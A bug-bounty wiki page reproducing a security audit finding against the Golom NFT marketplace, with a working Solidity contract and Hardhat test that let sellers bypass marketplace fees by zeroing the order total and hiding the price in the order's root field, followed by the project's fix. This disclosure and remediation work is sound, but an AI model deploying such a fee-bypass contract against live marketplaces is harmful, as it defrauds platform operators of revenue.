Users can avoid paying fees while trading trustlessly & using Golom’s network effects
A maker could set a reserved address to a custom contract and hide the desired payment amount in the order's root field, allowing them to avoid paying marketplace fees while still receiving payment. An attacker could use this to trade on Golom without paying fees.
Submitted by kankodu
-
If a maker makes below mentioned
AvoidsFeesContracta reservedAddress and hides the info about how much they want their NFT in order.root, they can avoid paying fees while trading trustlessly and using the nework effects of golom maketplace with 0 o.totalAmt. See POC to get a better idea. -
Here the maker uses order.root to hide the amount they want to get paid because it is much cleaner for a POC.
- But since golom does not have an API where user can submit a signature without using the frontend, they will use something like deadline to hide the amount they want to get paid.
- Reason they would use deadline is because that is something they can control in the golom NFT frontend
- They can pack the information about deadline and amount they want to get paid, in one uint256 as a deadline and then the check in the contract would look a different
Proof of Concept
- Clone the repo and run
yarn - Create a
AvoidsFeesContract.solcontract incontracts/test/folder with following code
//contract that avoids paying fees everytime
pragma solidity 0.8.11;
import "../core/GolomTrader.sol";
//A maker will be gurranteed a payout if it makes this contract the reservedAddress and hide the payment info about how much they want in Oder.root
//Users will use this every time to trade to avoid paying fees
//They use the networking effects of the golom marketplace without paying the fees
contract AvoidsFeesContract {
GolomTrader public immutable golomTrader;
constructor(GolomTrader _golomTrader) {
golomTrader = _golomTrader;
}
function fillAsk(
GolomTrader.Order calldata o,
uint256 amount,
address referrer,
GolomTrader.Payment calldata p,
address receiver
) public payable {
require(
o.reservedAddress == address(this),
"not allowed if signer has not reserved this contract"
); //the signer will only allow this contract to execute the trade and since it has following checks, they will be guranteed a payout they want without paying the fees
require(
p.paymentAddress == o.signer,
"signer needs to be the payment address"
);
//I am using root as an example because it is much cleaner for a POC.
//but since golom does not have an API where user can submit a signature without using the frontend, they will use something like deadline to hide the amount they want to get paid.
//Reason they would use deadline is because that is something they can control in the golom NFT frontend
//They can pack the information about deadline and amount they want to get paid, in one uint256 as a deadline and then the check below would look a little different
require(
p.paymentAmt == uint256(o.root),
"you need to pay what signer wants"
); //the maker will hide the payment info in oder.root
golomTrader.fillAsk{value: msg.value}(
o,
amount,
referrer,
p,
receiver = msg.sender
);
}
}
- Add following test in
test/GolomTrader.specs.tshere. - Also, add
const AvoidsFeesContractArtifacts = ethers.getContractFactory('AvoidsFeesContract');after this line andimport { AvoidsFeesContract as AvoidsFeesContractTypes } from '../typechain/AvoidsFeesContract';after this line. - Run
npx hardhat compile && npx hardhat test
it.only('should allow malicious contract to execute the trade while bypassing the fees', async () => {
//deploy the malicious contract
const avoidsFeesContract: AvoidsFeesContractTypes = (await (await AvoidsFeesContractArtifacts).deploy(golomTrader.address)) as AvoidsFeesContractTypes;
//here the frontend calculates exchangeAmount and prePaymentAmt as a percentage of how much the make wants to receive for their NFT.
//as far as the frontend is concerned, the maker inputs 0 for their NFT value which in turn makes the exchangeAmount and prePaymentAmt 0
let exchangeAmount = ethers.utils.parseEther('0'); // nothing to the exchange
let prePaymentAmt = ethers.utils.parseEther('0'); // no royalty cut
let totalAmt = ethers.utils.parseEther('0');
let tokenId = await testErc721.current();
let nftValueThatMakerWants = ethers.utils.parseEther('10.25');
const order = {
collection: testErc721.address,
tokenId: tokenId,
signer: await maker.getAddress(),
orderType: 0,
totalAmt: totalAmt,
exchange: { paymentAmt: exchangeAmount, paymentAddress: await exchange.getAddress() },
prePayment: { paymentAmt: prePaymentAmt, paymentAddress: await prepay.getAddress() },
isERC721: true,
tokenAmt: 1,
refererrAmt: 0,
root: ethers.utils.hexZeroPad(nftValueThatMakerWants.toHexString(), 32), //convert Bignumber to bytes32
reservedAddress: avoidsFeesContract.address,
nonce: 0,
deadline: Date.now() + 100000,
r: '',
s: '',
v: 0,
};
let signature = (await maker._signTypedData(domain, types, order)).substring(2); //a valid signature as far as your frontend goes
order.r = '0x' + signature.substring(0, 64);
order.s = '0x' + signature.substring(64, 128);
order.v = parseInt(signature.substring(128, 130), 16);
let makerBalanceBefore = await ethers.provider.getBalance(await maker.getAddress());
await avoidsFeesContract.connect(taker).fillAsk(
order,
1,
'0x0000000000000000000000000000000000000000',
{
paymentAmt: nftValueThatMakerWants,
paymentAddress: order.signer,
},
receiver,
{
value: nftValueThatMakerWants,
}
);
let makerBalanceAfter = await ethers.provider.getBalance(await maker.getAddress());
expect(await testErc721.balanceOf(await taker.getAddress())).to.be.equals('1');
expect(makerBalanceAfter.sub(makerBalanceBefore)).to.be.equals(nftValueThatMakerWants);//maker is guaranteed a payout
});
Tools Used
- The repo itself. (hardhat)
Recommended Mitigation Steps
- Make sure that o.totalAmt is greater than p.paymentAmt in addition to this check
0xsaruman (Golom) resolved and commented:
Circumvented by putting this line in the code
require(o.totalAmt * amount * 15/100 >= p.paymentAmt, 'can only pay 15% extra');
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
What the attacker needed
Maker deploys a custom contract; maker signs a crafted order; taker interacts with the malicious contract
The fix
The contract was fixed by adding a check that the total amount times amount times 15/100 is at least the payment amount.
How it was found
- Deploy a malicious contract that acts as the reserved address and enforces payment conditions.
- Create an order with totalAmt set to zero and the desired payment amount hidden in the root field.
- Sign the order and submit it through the malicious contract, which checks the payment and calls fillAsk.
- The trade executes, the maker receives the desired amount, and no fees are paid.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a marketplace, sellers normally pay a fee to the platform. Here, a seller could use a special contract to hide how much they want to be paid, so the platform's fee calculation sees zero and charges no fee, but the seller still gets paid. This means the platform loses revenue while the seller benefits.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.